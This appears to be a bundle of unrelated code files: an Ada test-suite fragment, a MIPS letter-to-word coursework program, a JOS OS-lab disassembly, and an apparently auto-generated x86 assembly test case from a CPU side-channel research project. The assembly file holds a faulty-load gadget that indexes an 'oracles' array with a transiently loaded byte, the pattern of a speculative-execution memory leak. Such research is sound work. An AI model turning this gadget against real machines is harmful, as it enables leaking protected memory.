Caller.Add_Test (Suite, "Test ADO.Objects.Delete", Test_Delete_Object'Access);
Caller.Add_Test (Suite, "Test ADO.Objects.Is_Created", Test_Is_Inserted'Access);
Caller.Add_Test (Suite, "Test ADO.Objects.Is_Modified", Test_Is_Modified'Access);
Caller.Add_Test (Suite, "Test ADO.Objects (Nullable_Integer)",
Test_Object_Nullable_Integer'Access);
Caller.Add_Test (Suite, "Test ADO.Objects (Nullable_Entity_Type)",
Test_Object_Nullable_Entity_Type'Access);
Caller.Add_Test (Suite, "Test ADO.Objects (Nullable_Time)",
Test_Object_Nullable_Time'Access);
Caller.Add_Test (Suite, "Test ADO.Objects.Create (String key)",
Test_String_Key'Access);
end Add_Tests;
end ADO.Objects.Tests;
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1749.asm | ljhsiun2/medusa | 9 | 20622 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
push %rax
push %rbp
lea addresses_normal_ht+0x40cc, %rax
nop
nop
dec %r14
movb $0x61, (%rax)
nop
nop
nop
xor $40448, %rbp
lea addresses_D_ht+0x1617c, %r12
nop
nop
nop
nop
add $7751, %r11
mov (%r12), %r8w
nop
nop
nop
add $62348, %rbp
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %rbx
push %rcx
push %rdx
// Load
mov $0x163733000000054c, %r12
xor %rdx, %rdx
mov (%r12), %cx
nop
nop
and %r14, %r14
// Store
lea addresses_UC+0xe4ea, %rbx
and $56513, %r11
movl $0x51525354, (%rbx)
and %rcx, %rcx
// Faulty Load
mov $0x163733000000054c, %r14
nop
nop
nop
nop
sub $60426, %r11
mov (%r14), %rcx
lea oracles, %r11
and $0xff, %rcx
shlq $12, %rcx
mov (%r11,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %rbx
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_NC', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_NC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_UC', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 6}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 4}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
simple_io.asm | everbird/coursera_assignments | 0 | 3621 | <gh_stars>0
# simple_io.asm
#
# Simple i/o using syscall
# Ref: Coursera | PKU | Computer Organization | Peer Assessments 1
#
# 利用系统功能调用从键盘输入,转换后在屏幕上显示,具体要求如下:
#
# (1) 如果输入的是字母(A~Z,区分大小写)或数字(0~9),则将其转换成对应的英文单词后在屏幕上显示,对应关系见下表
#
# (2) 若输入的不是字母或数字,则在屏幕上输出字符“*”,
#
# (3) 每输入一个字符,即时转换并在屏幕上显示,
#
# (4) 支持反复输入,直到按“?”键结束程序。
#
# :copyright: (c) 2015 by <NAME>.
#
.data
_A: .asciiz "Alpha\n"
_B: .asciiz "Bravo\n"
_C: .asciiz "China\n"
_D: .asciiz "Delta\n"
_E: .asciiz "Echo\n"
_F: .asciiz "Foxtrot\n"
_G: .asciiz "Golf\n"
_H: .asciiz "Hotel\n"
_I: .asciiz "India\n"
_J: .asciiz "Juliet\n"
_K: .asciiz "Kilo\n"
_L: .asciiz "Lima\n"
_M: .asciiz "Mary\n"
_N: .asciiz "November\n"
_O: .asciiz "Oscar\n"
_P: .asciiz "Paper\n"
_Q: .asciiz "Quebec\n"
_R: .asciiz "Research\n"
_S: .asciiz "Sierra\n"
_T: .asciiz "Tango\n"
_U: .asciiz "Uniform\n"
_V: .asciiz "Victor\n"
_W: .asciiz "Whisky\n"
_X: .asciiz "X-ray\n"
_Y: .asciiz "Yankee\n"
_Z: .asciiz "Zulu\n"
_a: .asciiz "alpha\n"
_b: .asciiz "bravo\n"
_c: .asciiz "china\n"
_d: .asciiz "delta\n"
_e: .asciiz "echo\n"
_f: .asciiz "foxtrot\n"
_g: .asciiz "golf\n"
_h: .asciiz "hotel\n"
_i: .asciiz "india\n"
_j: .asciiz "juliet\n"
_k: .asciiz "kilo\n"
_l: .asciiz "lima\n"
_m: .asciiz "mary\n"
_n: .asciiz "november\n"
_o: .asciiz "oscar\n"
_p: .asciiz "paper\n"
_q: .asciiz "quebec\n"
_r: .asciiz "research\n"
_s: .asciiz "sierra\n"
_t: .asciiz "tango\n"
_u: .asciiz "uniform\n"
_v: .asciiz "victor\n"
_w: .asciiz "whisky\n"
_x: .asciiz "x-ray\n"
_y: .asciiz "yankee\n"
_z: .asciiz "zulu\n"
_0: .asciiz "zero\n"
_1: .asciiz "First\n"
_2: .asciiz "Second\n"
_3: .asciiz "Third\n"
_4: .asciiz "Fourth\n"
_5: .asciiz "Fifth\n"
_6: .asciiz "Sixth\n"
_7: .asciiz "Seventh\n"
_8: .asciiz "Eighth\n"
_9: .asciiz "Ninth\n"
star: .asciiz "*\n"
capitals: .word _A, _B, _C, _D, _E, _F, _G, _H, _I, _J, _K, _L, _M, _N, _O, _P, _Q, _R, _S, _T, _U, _V, _W, _X, _Y, _Z
lowers: .word _a, _b, _c, _d, _e, _f, _g, _h, _i, _j, _k, _l, _m, _n, _o, _p, _q, _r, _s, _t, _u, _v, _w, _x, _y, _z
numbers: .word _0, _1, _2, _3, _4, _5, _6, _7, _8, _9
.text
.globl main
main:
li $v0, 12
syscall
beq $v0, '?', end
# Ref: http://en.wikipedia.org/wiki/ASCII#ASCII_printable_code_chart
bgt $v0, 'z', print_default # ascii[z:]
bge $v0, 'a', find_lower # ascii[a:z]
bgt $v0, 'Z', print_default # ascii[Z:a]
bge $v0, 'A', find_capitals # ascii[A:Z]
bgt $v0, '9', print_default # ascii[9:A]
blt $v0, '0', print_default # ascii[:0]
# ascii[0:9]
find_numbers:
la $s0, numbers
li $t3, '0'
j print
find_capitals:
la $s0, capitals
li $t3, 'A'
j print
find_lower:
la $s0, lowers
li $t3, 'a'
j print
print:
sub $t1, $v0, $t3 # Caculate index
mul $t0, $t1, 4 # Caculate address offset for string array
la $t3, ($s0)
add $t1, $t0, $t3 # Find address in string array for symbolic address
lw $t2, ($t1) # Load symbolic address as content from found address
la $a0, ($t2) # Output the found symbloic address content
li $v0, 4
syscall
j main
print_default:
la $a0, star
li $v0, 4
syscall
j main
end:
|
oslab6/obj/user/testpteshare.asm | jasha64/OperatingSystems-lab | 0 | 168654 |
obj/user/testpteshare.debug: 文件格式 elf32-i386
Disassembly of section .text:
00800020 <_start>:
// starts us running when we are initially loaded into a new environment.
.text
.globl _start
_start:
// See if we were started with arguments on the stack
cmpl $USTACKTOP, %esp
800020: 81 fc 00 e0 bf ee cmp $0xeebfe000,%esp
jne args_exist
800026: 75 04 jne 80002c <args_exist>
// If not, push dummy argc/argv arguments.
// This happens when we are loaded by the kernel,
// because the kernel does not know about passing arguments.
pushl $0
800028: 6a 00 push $0x0
pushl $0
80002a: 6a 00 push $0x0
0080002c <args_exist>:
args_exist:
call libmain
80002c: e8 65 01 00 00 call 800196 <libmain>
1: jmp 1b
800031: eb fe jmp 800031 <args_exist+0x5>
00800033 <childofspawn>:
breakpoint();
}
void
childofspawn(void)
{
800033: 55 push %ebp
800034: 89 e5 mov %esp,%ebp
800036: 83 ec 10 sub $0x10,%esp
strcpy(VA, msg2);
800039: ff 35 00 30 80 00 pushl 0x803000
80003f: 68 00 00 00 a0 push $0xa0000000
800044: e8 9f 08 00 00 call 8008e8 <strcpy>
exit();
800049: e8 8e 01 00 00 call 8001dc <exit>
}
80004e: 83 c4 10 add $0x10,%esp
800051: c9 leave
800052: c3 ret
00800053 <umain>:
{
800053: 55 push %ebp
800054: 89 e5 mov %esp,%ebp
800056: 53 push %ebx
800057: 83 ec 04 sub $0x4,%esp
if (argc != 0)
80005a: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80005e: 0f 85 d2 00 00 00 jne 800136 <umain+0xe3>
if ((r = sys_page_alloc(0, VA, PTE_P|PTE_W|PTE_U|PTE_SHARE)) < 0)
800064: 83 ec 04 sub $0x4,%esp
800067: 68 07 04 00 00 push $0x407
80006c: 68 00 00 00 a0 push $0xa0000000
800071: 6a 00 push $0x0
800073: e8 69 0c 00 00 call 800ce1 <sys_page_alloc>
800078: 83 c4 10 add $0x10,%esp
80007b: 85 c0 test %eax,%eax
80007d: 0f 88 bd 00 00 00 js 800140 <umain+0xed>
if ((r = fork()) < 0)
800083: e8 1a 0f 00 00 call 800fa2 <fork>
800088: 89 c3 mov %eax,%ebx
80008a: 85 c0 test %eax,%eax
80008c: 0f 88 c0 00 00 00 js 800152 <umain+0xff>
if (r == 0) {
800092: 85 c0 test %eax,%eax
800094: 0f 84 ca 00 00 00 je 800164 <umain+0x111>
wait(r);
80009a: 83 ec 0c sub $0xc,%esp
80009d: 53 push %ebx
80009e: e8 59 16 00 00 call 8016fc <wait>
cprintf("fork handles PTE_SHARE %s\n", strcmp(VA, msg) == 0 ? "right" : "wrong");
8000a3: 83 c4 08 add $0x8,%esp
8000a6: ff 35 04 30 80 00 pushl 0x803004
8000ac: 68 00 00 00 a0 push $0xa0000000
8000b1: e8 d8 08 00 00 call 80098e <strcmp>
8000b6: 83 c4 08 add $0x8,%esp
8000b9: 85 c0 test %eax,%eax
8000bb: b8 40 28 80 00 mov $0x802840,%eax
8000c0: ba 46 28 80 00 mov $0x802846,%edx
8000c5: 0f 45 c2 cmovne %edx,%eax
8000c8: 50 push %eax
8000c9: 68 73 28 80 00 push $0x802873
8000ce: e8 f6 01 00 00 call 8002c9 <cprintf>
if ((r = spawnl("/testpteshare", "testpteshare", "arg", 0)) < 0)
8000d3: 6a 00 push $0x0
8000d5: 68 8e 28 80 00 push $0x80288e
8000da: 68 93 28 80 00 push $0x802893
8000df: 68 92 28 80 00 push $0x802892
8000e4: e8 96 15 00 00 call 80167f <spawnl>
8000e9: 83 c4 20 add $0x20,%esp
8000ec: 85 c0 test %eax,%eax
8000ee: 0f 88 90 00 00 00 js 800184 <umain+0x131>
wait(r);
8000f4: 83 ec 0c sub $0xc,%esp
8000f7: 50 push %eax
8000f8: e8 ff 15 00 00 call 8016fc <wait>
cprintf("spawn handles PTE_SHARE %s\n", strcmp(VA, msg2) == 0 ? "right" : "wrong");
8000fd: 83 c4 08 add $0x8,%esp
800100: ff 35 00 30 80 00 pushl 0x803000
800106: 68 00 00 00 a0 push $0xa0000000
80010b: e8 7e 08 00 00 call 80098e <strcmp>
800110: 83 c4 08 add $0x8,%esp
800113: 85 c0 test %eax,%eax
800115: b8 40 28 80 00 mov $0x802840,%eax
80011a: ba 46 28 80 00 mov $0x802846,%edx
80011f: 0f 45 c2 cmovne %edx,%eax
800122: 50 push %eax
800123: 68 aa 28 80 00 push $0x8028aa
800128: e8 9c 01 00 00 call 8002c9 <cprintf>
#include <inc/types.h>
static inline void
breakpoint(void)
{
asm volatile("int3");
80012d: cc int3
}
80012e: 83 c4 10 add $0x10,%esp
800131: 8b 5d fc mov -0x4(%ebp),%ebx
800134: c9 leave
800135: c3 ret
childofspawn();
800136: e8 f8 fe ff ff call 800033 <childofspawn>
80013b: e9 24 ff ff ff jmp 800064 <umain+0x11>
panic("sys_page_alloc: %e", r);
800140: 50 push %eax
800141: 68 4c 28 80 00 push $0x80284c
800146: 6a 13 push $0x13
800148: 68 5f 28 80 00 push $0x80285f
80014d: e8 9c 00 00 00 call 8001ee <_panic>
panic("fork: %e", r);
800152: 50 push %eax
800153: 68 92 2c 80 00 push $0x802c92
800158: 6a 17 push $0x17
80015a: 68 5f 28 80 00 push $0x80285f
80015f: e8 8a 00 00 00 call 8001ee <_panic>
strcpy(VA, msg);
800164: 83 ec 08 sub $0x8,%esp
800167: ff 35 04 30 80 00 pushl 0x803004
80016d: 68 00 00 00 a0 push $0xa0000000
800172: e8 71 07 00 00 call 8008e8 <strcpy>
exit();
800177: e8 60 00 00 00 call 8001dc <exit>
80017c: 83 c4 10 add $0x10,%esp
80017f: e9 16 ff ff ff jmp 80009a <umain+0x47>
panic("spawn: %e", r);
800184: 50 push %eax
800185: 68 a0 28 80 00 push $0x8028a0
80018a: 6a 21 push $0x21
80018c: 68 5f 28 80 00 push $0x80285f
800191: e8 58 00 00 00 call 8001ee <_panic>
00800196 <libmain>:
const volatile struct Env *thisenv;
const char *binaryname = "<unknown>";
void
libmain(int argc, char **argv)
{
800196: 55 push %ebp
800197: 89 e5 mov %esp,%ebp
800199: 56 push %esi
80019a: 53 push %ebx
80019b: 8b 5d 08 mov 0x8(%ebp),%ebx
80019e: 8b 75 0c mov 0xc(%ebp),%esi
// set thisenv to point at our Env structure in envs[].
// LAB 3: Your code here.
envid_t envid = sys_getenvid();
8001a1: e8 fd 0a 00 00 call 800ca3 <sys_getenvid>
thisenv = envs + ENVX(envid);
8001a6: 25 ff 03 00 00 and $0x3ff,%eax
8001ab: 6b c0 7c imul $0x7c,%eax,%eax
8001ae: 05 00 00 c0 ee add $0xeec00000,%eax
8001b3: a3 04 40 80 00 mov %eax,0x804004
// save the name of the program so that panic() can use it
if (argc > 0)
8001b8: 85 db test %ebx,%ebx
8001ba: 7e 07 jle 8001c3 <libmain+0x2d>
binaryname = argv[0];
8001bc: 8b 06 mov (%esi),%eax
8001be: a3 08 30 80 00 mov %eax,0x803008
// call user main routine
umain(argc, argv);
8001c3: 83 ec 08 sub $0x8,%esp
8001c6: 56 push %esi
8001c7: 53 push %ebx
8001c8: e8 86 fe ff ff call 800053 <umain>
// exit gracefully
exit();
8001cd: e8 0a 00 00 00 call 8001dc <exit>
}
8001d2: 83 c4 10 add $0x10,%esp
8001d5: 8d 65 f8 lea -0x8(%ebp),%esp
8001d8: 5b pop %ebx
8001d9: 5e pop %esi
8001da: 5d pop %ebp
8001db: c3 ret
008001dc <exit>:
#include <inc/lib.h>
void
exit(void)
{
8001dc: 55 push %ebp
8001dd: 89 e5 mov %esp,%ebp
8001df: 83 ec 14 sub $0x14,%esp
// close_all();
sys_env_destroy(0);
8001e2: 6a 00 push $0x0
8001e4: e8 79 0a 00 00 call 800c62 <sys_env_destroy>
}
8001e9: 83 c4 10 add $0x10,%esp
8001ec: c9 leave
8001ed: c3 ret
008001ee <_panic>:
* It prints "panic: <message>", then causes a breakpoint exception,
* which causes JOS to enter the JOS kernel monitor.
*/
void
_panic(const char *file, int line, const char *fmt, ...)
{
8001ee: 55 push %ebp
8001ef: 89 e5 mov %esp,%ebp
8001f1: 56 push %esi
8001f2: 53 push %ebx
va_list ap;
va_start(ap, fmt);
8001f3: 8d 5d 14 lea 0x14(%ebp),%ebx
// Print the panic message
cprintf("[%08x] user panic in %s at %s:%d: ",
8001f6: 8b 35 08 30 80 00 mov 0x803008,%esi
8001fc: e8 a2 0a 00 00 call 800ca3 <sys_getenvid>
800201: 83 ec 0c sub $0xc,%esp
800204: ff 75 0c pushl 0xc(%ebp)
800207: ff 75 08 pushl 0x8(%ebp)
80020a: 56 push %esi
80020b: 50 push %eax
80020c: 68 f0 28 80 00 push $0x8028f0
800211: e8 b3 00 00 00 call 8002c9 <cprintf>
sys_getenvid(), binaryname, file, line);
vcprintf(fmt, ap);
800216: 83 c4 18 add $0x18,%esp
800219: 53 push %ebx
80021a: ff 75 10 pushl 0x10(%ebp)
80021d: e8 56 00 00 00 call 800278 <vcprintf>
cprintf("\n");
800222: c7 04 24 86 2e 80 00 movl $0x802e86,(%esp)
800229: e8 9b 00 00 00 call 8002c9 <cprintf>
80022e: 83 c4 10 add $0x10,%esp
// Cause a breakpoint exception
while (1)
asm volatile("int3");
800231: cc int3
800232: eb fd jmp 800231 <_panic+0x43>
00800234 <putch>:
};
static void
putch(int ch, struct printbuf *b)
{
800234: 55 push %ebp
800235: 89 e5 mov %esp,%ebp
800237: 53 push %ebx
800238: 83 ec 04 sub $0x4,%esp
80023b: 8b 5d 0c mov 0xc(%ebp),%ebx
b->buf[b->idx++] = ch;
80023e: 8b 13 mov (%ebx),%edx
800240: 8d 42 01 lea 0x1(%edx),%eax
800243: 89 03 mov %eax,(%ebx)
800245: 8b 4d 08 mov 0x8(%ebp),%ecx
800248: 88 4c 13 08 mov %cl,0x8(%ebx,%edx,1)
if (b->idx == 256-1) {
80024c: 3d ff 00 00 00 cmp $0xff,%eax
800251: 74 09 je 80025c <putch+0x28>
sys_cputs(b->buf, b->idx);
b->idx = 0;
}
b->cnt++;
800253: 83 43 04 01 addl $0x1,0x4(%ebx)
}
800257: 8b 5d fc mov -0x4(%ebp),%ebx
80025a: c9 leave
80025b: c3 ret
sys_cputs(b->buf, b->idx);
80025c: 83 ec 08 sub $0x8,%esp
80025f: 68 ff 00 00 00 push $0xff
800264: 8d 43 08 lea 0x8(%ebx),%eax
800267: 50 push %eax
800268: e8 b8 09 00 00 call 800c25 <sys_cputs>
b->idx = 0;
80026d: c7 03 00 00 00 00 movl $0x0,(%ebx)
800273: 83 c4 10 add $0x10,%esp
800276: eb db jmp 800253 <putch+0x1f>
00800278 <vcprintf>:
int
vcprintf(const char *fmt, va_list ap)
{
800278: 55 push %ebp
800279: 89 e5 mov %esp,%ebp
80027b: 81 ec 18 01 00 00 sub $0x118,%esp
struct printbuf b;
b.idx = 0;
800281: c7 85 f0 fe ff ff 00 movl $0x0,-0x110(%ebp)
800288: 00 00 00
b.cnt = 0;
80028b: c7 85 f4 fe ff ff 00 movl $0x0,-0x10c(%ebp)
800292: 00 00 00
vprintfmt((void*)putch, &b, fmt, ap);
800295: ff 75 0c pushl 0xc(%ebp)
800298: ff 75 08 pushl 0x8(%ebp)
80029b: 8d 85 f0 fe ff ff lea -0x110(%ebp),%eax
8002a1: 50 push %eax
8002a2: 68 34 02 80 00 push $0x800234
8002a7: e8 1a 01 00 00 call 8003c6 <vprintfmt>
sys_cputs(b.buf, b.idx);
8002ac: 83 c4 08 add $0x8,%esp
8002af: ff b5 f0 fe ff ff pushl -0x110(%ebp)
8002b5: 8d 85 f8 fe ff ff lea -0x108(%ebp),%eax
8002bb: 50 push %eax
8002bc: e8 64 09 00 00 call 800c25 <sys_cputs>
return b.cnt;
}
8002c1: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
8002c7: c9 leave
8002c8: c3 ret
008002c9 <cprintf>:
int
cprintf(const char *fmt, ...)
{
8002c9: 55 push %ebp
8002ca: 89 e5 mov %esp,%ebp
8002cc: 83 ec 10 sub $0x10,%esp
va_list ap;
int cnt;
va_start(ap, fmt);
8002cf: 8d 45 0c lea 0xc(%ebp),%eax
cnt = vcprintf(fmt, ap);
8002d2: 50 push %eax
8002d3: ff 75 08 pushl 0x8(%ebp)
8002d6: e8 9d ff ff ff call 800278 <vcprintf>
va_end(ap);
return cnt;
}
8002db: c9 leave
8002dc: c3 ret
008002dd <printnum>:
* using specified putch function and associated pointer putdat.
*/
static void
printnum(void (*putch)(int, void*), void *putdat,
unsigned long long num, unsigned base, int width, int padc)
{
8002dd: 55 push %ebp
8002de: 89 e5 mov %esp,%ebp
8002e0: 57 push %edi
8002e1: 56 push %esi
8002e2: 53 push %ebx
8002e3: 83 ec 1c sub $0x1c,%esp
8002e6: 89 c7 mov %eax,%edi
8002e8: 89 d6 mov %edx,%esi
8002ea: 8b 45 08 mov 0x8(%ebp),%eax
8002ed: 8b 55 0c mov 0xc(%ebp),%edx
8002f0: 89 45 d8 mov %eax,-0x28(%ebp)
8002f3: 89 55 dc mov %edx,-0x24(%ebp)
// first recursively print all preceding (more significant) digits
if (num >= base) {
8002f6: 8b 4d 10 mov 0x10(%ebp),%ecx
8002f9: bb 00 00 00 00 mov $0x0,%ebx
8002fe: 89 4d e0 mov %ecx,-0x20(%ebp)
800301: 89 5d e4 mov %ebx,-0x1c(%ebp)
800304: 39 d3 cmp %edx,%ebx
800306: 72 05 jb 80030d <printnum+0x30>
800308: 39 45 10 cmp %eax,0x10(%ebp)
80030b: 77 7a ja 800387 <printnum+0xaa>
printnum(putch, putdat, num / base, base, width - 1, padc);
80030d: 83 ec 0c sub $0xc,%esp
800310: ff 75 18 pushl 0x18(%ebp)
800313: 8b 45 14 mov 0x14(%ebp),%eax
800316: 8d 58 ff lea -0x1(%eax),%ebx
800319: 53 push %ebx
80031a: ff 75 10 pushl 0x10(%ebp)
80031d: 83 ec 08 sub $0x8,%esp
800320: ff 75 e4 pushl -0x1c(%ebp)
800323: ff 75 e0 pushl -0x20(%ebp)
800326: ff 75 dc pushl -0x24(%ebp)
800329: ff 75 d8 pushl -0x28(%ebp)
80032c: e8 cf 22 00 00 call 802600 <__udivdi3>
800331: 83 c4 18 add $0x18,%esp
800334: 52 push %edx
800335: 50 push %eax
800336: 89 f2 mov %esi,%edx
800338: 89 f8 mov %edi,%eax
80033a: e8 9e ff ff ff call 8002dd <printnum>
80033f: 83 c4 20 add $0x20,%esp
800342: eb 13 jmp 800357 <printnum+0x7a>
} else {
// print any needed pad characters before first digit
while (--width > 0)
putch(padc, putdat);
800344: 83 ec 08 sub $0x8,%esp
800347: 56 push %esi
800348: ff 75 18 pushl 0x18(%ebp)
80034b: ff d7 call *%edi
80034d: 83 c4 10 add $0x10,%esp
while (--width > 0)
800350: 83 eb 01 sub $0x1,%ebx
800353: 85 db test %ebx,%ebx
800355: 7f ed jg 800344 <printnum+0x67>
}
// then print this (the least significant) digit
putch("0123456789abcdef"[num % base], putdat);
800357: 83 ec 08 sub $0x8,%esp
80035a: 56 push %esi
80035b: 83 ec 04 sub $0x4,%esp
80035e: ff 75 e4 pushl -0x1c(%ebp)
800361: ff 75 e0 pushl -0x20(%ebp)
800364: ff 75 dc pushl -0x24(%ebp)
800367: ff 75 d8 pushl -0x28(%ebp)
80036a: e8 b1 23 00 00 call 802720 <__umoddi3>
80036f: 83 c4 14 add $0x14,%esp
800372: 0f be 80 13 29 80 00 movsbl 0x802913(%eax),%eax
800379: 50 push %eax
80037a: ff d7 call *%edi
}
80037c: 83 c4 10 add $0x10,%esp
80037f: 8d 65 f4 lea -0xc(%ebp),%esp
800382: 5b pop %ebx
800383: 5e pop %esi
800384: 5f pop %edi
800385: 5d pop %ebp
800386: c3 ret
800387: 8b 5d 14 mov 0x14(%ebp),%ebx
80038a: eb c4 jmp 800350 <printnum+0x73>
0080038c <sprintputch>:
int cnt;
};
static void
sprintputch(int ch, struct sprintbuf *b)
{
80038c: 55 push %ebp
80038d: 89 e5 mov %esp,%ebp
80038f: 8b 45 0c mov 0xc(%ebp),%eax
b->cnt++;
800392: 83 40 08 01 addl $0x1,0x8(%eax)
if (b->buf < b->ebuf)
800396: 8b 10 mov (%eax),%edx
800398: 3b 50 04 cmp 0x4(%eax),%edx
80039b: 73 0a jae 8003a7 <sprintputch+0x1b>
*b->buf++ = ch;
80039d: 8d 4a 01 lea 0x1(%edx),%ecx
8003a0: 89 08 mov %ecx,(%eax)
8003a2: 8b 45 08 mov 0x8(%ebp),%eax
8003a5: 88 02 mov %al,(%edx)
}
8003a7: 5d pop %ebp
8003a8: c3 ret
008003a9 <printfmt>:
{
8003a9: 55 push %ebp
8003aa: 89 e5 mov %esp,%ebp
8003ac: 83 ec 08 sub $0x8,%esp
va_start(ap, fmt);
8003af: 8d 45 14 lea 0x14(%ebp),%eax
vprintfmt(putch, putdat, fmt, ap);
8003b2: 50 push %eax
8003b3: ff 75 10 pushl 0x10(%ebp)
8003b6: ff 75 0c pushl 0xc(%ebp)
8003b9: ff 75 08 pushl 0x8(%ebp)
8003bc: e8 05 00 00 00 call 8003c6 <vprintfmt>
}
8003c1: 83 c4 10 add $0x10,%esp
8003c4: c9 leave
8003c5: c3 ret
008003c6 <vprintfmt>:
{
8003c6: 55 push %ebp
8003c7: 89 e5 mov %esp,%ebp
8003c9: 57 push %edi
8003ca: 56 push %esi
8003cb: 53 push %ebx
8003cc: 83 ec 2c sub $0x2c,%esp
8003cf: 8b 75 08 mov 0x8(%ebp),%esi
8003d2: 8b 5d 0c mov 0xc(%ebp),%ebx
8003d5: 8b 7d 10 mov 0x10(%ebp),%edi
8003d8: e9 c1 03 00 00 jmp 80079e <vprintfmt+0x3d8>
padc = ' ';
8003dd: c6 45 d4 20 movb $0x20,-0x2c(%ebp)
altflag = 0;
8003e1: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
precision = -1;
8003e8: c7 45 d0 ff ff ff ff movl $0xffffffff,-0x30(%ebp)
width = -1;
8003ef: c7 45 e0 ff ff ff ff movl $0xffffffff,-0x20(%ebp)
lflag = 0;
8003f6: b9 00 00 00 00 mov $0x0,%ecx
switch (ch = *(unsigned char *) fmt++) {
8003fb: 8d 47 01 lea 0x1(%edi),%eax
8003fe: 89 45 e4 mov %eax,-0x1c(%ebp)
800401: 0f b6 17 movzbl (%edi),%edx
800404: 8d 42 dd lea -0x23(%edx),%eax
800407: 3c 55 cmp $0x55,%al
800409: 0f 87 12 04 00 00 ja 800821 <vprintfmt+0x45b>
80040f: 0f b6 c0 movzbl %al,%eax
800412: ff 24 85 60 2a 80 00 jmp *0x802a60(,%eax,4)
800419: 8b 7d e4 mov -0x1c(%ebp),%edi
padc = '-';
80041c: c6 45 d4 2d movb $0x2d,-0x2c(%ebp)
800420: eb d9 jmp 8003fb <vprintfmt+0x35>
